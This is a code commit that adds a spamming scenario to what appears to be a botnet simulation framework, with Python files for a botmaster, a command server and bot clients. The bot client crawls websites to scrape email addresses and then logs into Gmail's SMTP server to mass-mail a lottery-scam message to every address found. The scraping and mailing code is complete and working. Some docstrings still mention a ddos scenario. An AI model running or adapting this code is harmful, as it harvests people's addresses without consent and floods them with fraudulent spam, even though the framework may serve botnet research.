Commits

Joshua Bonsink committed 673ac65

Implemented a spamming scenario. Websites are crawled in search for email addresses. At some point spam will be send to all found addresses.

  • Participants
  • Parent commits 83da707

Comments (0)

Files changed (6)

File scenario/spamming/__init__.py

+"""Initialize spamming."""
+
+from scenario.spamming.client_cmd import ClientCMD
+from scenario.spamming.server_cmd import ServerCMD
+from scenario.spamming.botmaster import BotMaster
+from scenario.spamming import config

File scenario/spamming/botmaster.py

+"""
+
+This file contains the BotMaster Command Meta Description for the spamming
+scenario.
+
+"""
+
+import jsonpickle
+
+from core.nodes.botmaster import BotMasterManInput
+from scenario.spamming.config import Botmaster, CrawlCmd
+
+def print_help():
+    print "Type 'bots' to view connected bots."
+    print "Type 'order' to start sending commands to bots"
+    
+class BotMaster(BotMasterManInput):
+    
+    """This class is a subclass of BotMasterManInput."""
+    
+    def __init__(self, desc=None):
+        """Initialize."""
+        if desc == None:
+            desc = Botmaster()
+            
+        BotMasterManInput.__init__(self, desc)
+        self.bots = []
+        
+        self.OPTIONS = {'bots': self.display_bots,
+                        'order' : self.order_bot}
+    
+    def display_bots(self):
+        """Display the bots connected to the server."""
+        i = 0
+        print self.bots
+        for bot in self.bots:            
+            print "Bot " + str(i) + " ip: " + bot[0] + " port: " + str(bot[1])
+            i += 1
+                    
+        if i == 0:
+            print "There aren't any bots connected with the server."    
+    
+    def order_bot(self):
+        """Order a specific bot to execute the Crawl command."""
+        cmd = CrawlCmd()
+        
+        print "Choose url"
+        cmd.start_url = raw_input(">>")
+        
+        print "Define max amount of iterations"
+        cmd.max_iterations = raw_input(">>")
+                      
+        print "Input botID"
+        bot_id = raw_input(">>")
+        cmd.addr = self.bots[int(bot_id)]
+        
+        self.node.send(self.sock, jsonpickle.encode(cmd))
+        
+        print "The order has been send."
+        
+    def parse_input(self):
+        """Parse the raw input."""
+        choice = raw_input(">>")
+        
+        if choice in self.OPTIONS:
+            self.OPTIONS[choice]()
+        else:
+            print 'Try Again!'
+
+    def add_address(self, socket, data):
+        """Add addresses received from the server to the bots list."""
+        for address in data.addresses:
+            if self.bots.count(address) == 0:
+                self.bots.append(address)
+    
+    def recv_ack(self):
+        """Send and receive data to the server."""        
+        self.node.send(self.sock, jsonpickle.encode(self.verification_command))      
+        self.node.recv(self.sock, 512, self.dispatcher, threaded=True)
+        self.node.sleep(5)
+        
+        print_help()        
+        while True:            
+            self.parse_input()

File scenario/spamming/client_cmd.py

+"""
+
+This file contains the Client Command Meta Description for the ddos ping
+flooding scenario.
+
+"""
+
+from email.MIMEMultipart import MIMEMultipart
+from email.MIMEBase import MIMEBase
+from email.MIMEText import MIMEText
+from email import Encoders
+
+import os
+import re
+import smtplib
+import sys
+import urllib2
+
+from core.real import PhysicalNode 
+from core.nodes.client import ClientCMD as CCMD
+from scenario.spamming.config import ClientDescription
+
+to_search_list = []
+searched_list = []
+email_list = []
+
+def download_url(url):
+    """Download the contents of a website."""
+    try:
+        return urllib2.urlopen(url)
+    except ValueError as e:
+        print e
+        raise urllib2.URLError()
+
+def crawl_sites(max_iterations, start_url):
+    """
+    
+    Crawl websites. Start with 'start_url' and keep on visiting websites
+    until new website urls aren't found anymore or when the maximum amount of
+    iterations has been reached. Email addresses are found by examining the
+    contents of each visited website.
+    
+    """
+    
+    to_search_list.append(start_url)
+    
+    iteration = 1
+    while iteration <= int(max_iterations):
+        if len(to_search_list) == 0:
+            print "dead url end"
+            break
+
+        first_url = to_search_list[0]
+        to_search_list.remove(first_url)
+        searched_list.append(first_url)
+        
+        try:
+            content = download_url(first_url)
+        except urllib2.URLError as e:
+            print e
+            try:                
+                content = download_url(first_url)
+            except urllib2.URLError as e:
+                print e
+                iteration += 1
+                continue
+        
+        for line in content:            
+            url_expression= r"http://+[\w\d:#@%/;$()~_?\+-=\\\.&]*"
+            regex = re.compile(url_expression) 
+            
+            results = regex.findall(line)
+            if results:
+                for result in results:
+                    if result not in searched_list:
+                        to_search_list.append(result)            
+                       
+            email_expression = r"\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,6}"
+            eregex = re.compile(email_expression)
+            
+            e_results = eregex.findall(line)            
+            if e_results:
+                for e_result in e_results:
+                    if e_result not in email_list:
+                        email_list.append(e_result)
+                    
+        iteration += 1
+        
+def send_mail(gmail_user, gmail_pwd, subject, content):
+    """Send an email to all found email addresses."""
+    msg = MIMEMultipart()
+    
+    msg['From'] = gmail_user    
+    msg['Subject'] = subject    
+    msg.attach(MIMEText(content))
+    
+    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
+    mailServer.ehlo()
+    mailServer.starttls()
+    mailServer.ehlo()
+    mailServer.login(gmail_user, gmail_pwd)    
+    
+    for address in email_list:
+        address = address.replace("\n","")
+        msg['To'] = address
+           
+        try:
+            mailServer.sendmail(gmail_user, address, msg.as_string())
+        except:
+            print "something went wrong when sending an email to '%s'" % (address)
+                       
+    """Send spam to your own email address
+    
+    address = YOUR_EMAIl_ADDRESS
+    msg['To'] = address
+           
+    try:
+        mailServer.sendmail(gmail_user, address, msg.as_string())
+    except:
+        print "something went wrong when sending an email to '%s'" % (address)
+        
+    """
+    mailServer.close()
+    
+class ClientCMD(CCMD):
+    
+    """This class is a subclass of ClientCMD."""
+    
+    def __init__(self, desc=None):
+        if desc == None:
+            desc = ClientDescription()
+            
+        CCMD.__init__(self, desc)
+                
+    def spam(self, sock, data):
+        """
+        
+        This function will be called when the command is received from the server.
+        
+        """   
+        crawl_sites(data.max_iterations, data.start_url)
+        send_mail(data.gmail_user, data.gmail_pwd, data.subject, data.content)
+
+if __name__ == "__main__":
+    cmd = ClientCMD()
+    node = PhysicalNode()
+    cmd.install(node)
+    node.start()

File scenario/spamming/config.py

+"""
+
+This file is used to configure the botmaster, clients and server in the file
+spamming scenario.
+
+"""
+
+from core.cmd.description import ServerDescription, ClientDescription 
+from core.cmd.description import BotmasterDescription
+
+class Botmaster(BotmasterDescription):
+    
+    """
+    
+    This class is the subclass of the default botmaster description. The
+    default settings are:
+    
+    server_address = '127.0.0.1'
+    server_port = 3333
+    request_timeout = 10
+    inital = 'waiting'
+    start_action = 'request_connect'
+    self.master_password = '1234'
+    self.interval = 2 
+    self.num_commands = 1
+    self.command = None   
+        
+    """
+    
+    def __init__(self):
+        """Initialize the botmaster description."""
+        BotmasterDescription.__init__(self)
+        self.command = CrawlCmd()    
+
+class Client(ClientDescription):
+    
+    """
+    
+    This class is the subclass of the default client description. The
+    default settings are:
+    
+    server_address = '127.0.0.1'
+    server_port = 3333
+    request_timeout = 10
+    initial = 'disconn'
+    start_action = 'request_connect'
+    
+    """
+    
+    def __init__(self):
+        """Initialize the client description."""
+        ClientDescription.__init__(self)
+        
+class Server(ServerDescription):
+    
+    """
+    
+    This class is the subclass of the default client description. The
+    default settings are:
+    
+    server_address = '127.0.0.1'
+    server_port = 3333
+    request_timeout = 10    
+    initial = 'waiting'
+    start_action = 'initialize'
+    self.master_password = '1234'
+    
+    """
+    
+    def __init__(self):
+        """Initialize the server description."""
+        ServerDescription.__init__(self)
+        
+class CrawlCmd(object):
+   
+    """
+    
+    This class specifies the ping command that is send to the bots connected
+    with the server.
+    
+    """
+    
+    def __init__(self):
+        """Specify the settings here."""
+        self.event = 'send_to_bot'
+        self.bot_event = 'spam'
+        self.bot_addr = ''
+        self.start_url = 'http://dd710.com/email.htm'
+        self.subject = 'You have won the lotery!'
+        self.content = \
+        """Hi,
+        
+        Congratulations with your prize!
+        """
+        self.max_iterations = 2
+        
+        self.gmail_user = 'USER_NAME'
+        self.gmail_pwd = 'PASS_WORD'

File scenario/spamming/server_cmd.py

+"""
+
+This file contains the Server Command Meta Description for the spamming
+scenario.
+
+"""
+
+import jsonpickle
+
+from core.nodes.server import ServerCMD as SCMD
+from core.cmd.command import NewAddressCmd, EchoCmd
+from scenario.spamming.config import ServerDescription as Description
+
+class ServerCMD(SCMD):
+    
+    """This class is a subclass of ServerCMD."""
+    
+    def __init__(self, desc=None):        
+        """Initialize"""
+        
+        if desc == None:
+            desc = Description()
+        
+        SCMD.__init__(self, desc)
+        
+    def recv_request_conn(self, client_sock, address):
+        """Callback when connection request from a new bot is received."""
+        self.logger.info('receive request from addr: %s'%(str(address)))
+        self.node.send(client_sock, 'connect_ack')        
+        self.node.recv(client_sock, 512, self.node.dispatcher, threaded=True)
+        
+        if self.node.master_sock != None:            
+            self.send_new_address(self.node.master_sock, address)
+     
+    def verify_master(self, sock, data):
+        """Verify the identity of the bot master."""
+        if data.password == self.desc.master_password and self.node.master_sock == None:
+            self.logger.info( 'bot master password verified' )
+            self.node.set_master_sock(sock)
+            self.node.send(sock, jsonpickle.encode(EchoCmd()))
+            
+            self.node.sleep(5)
+            
+            self.send_known_addresses(sock)            
+    
+    def send_known_addresses(self, socket):
+        """Send known addresses of bots to the botmaster."""        
+        if len(self.node.client_socks) > 0:
+            command = NewAddressCmd()
+            values = self.node.sockets.values()        
+            command.addresses = [val['addr'] for val in values if val['type'] == 'client']            
+            self.node.send(socket, jsonpickle.encode(command))
+    
+    def send_new_address(self, socket, address): 
+        """Send a single address of a new bot to the botmaster."""
+        command = NewAddressCmd()
+        command.addresses = [address]        
+        self.node.send(socket, jsonpickle.encode(command))

File scenario/spamming/simple_ddos.adesc

+# temp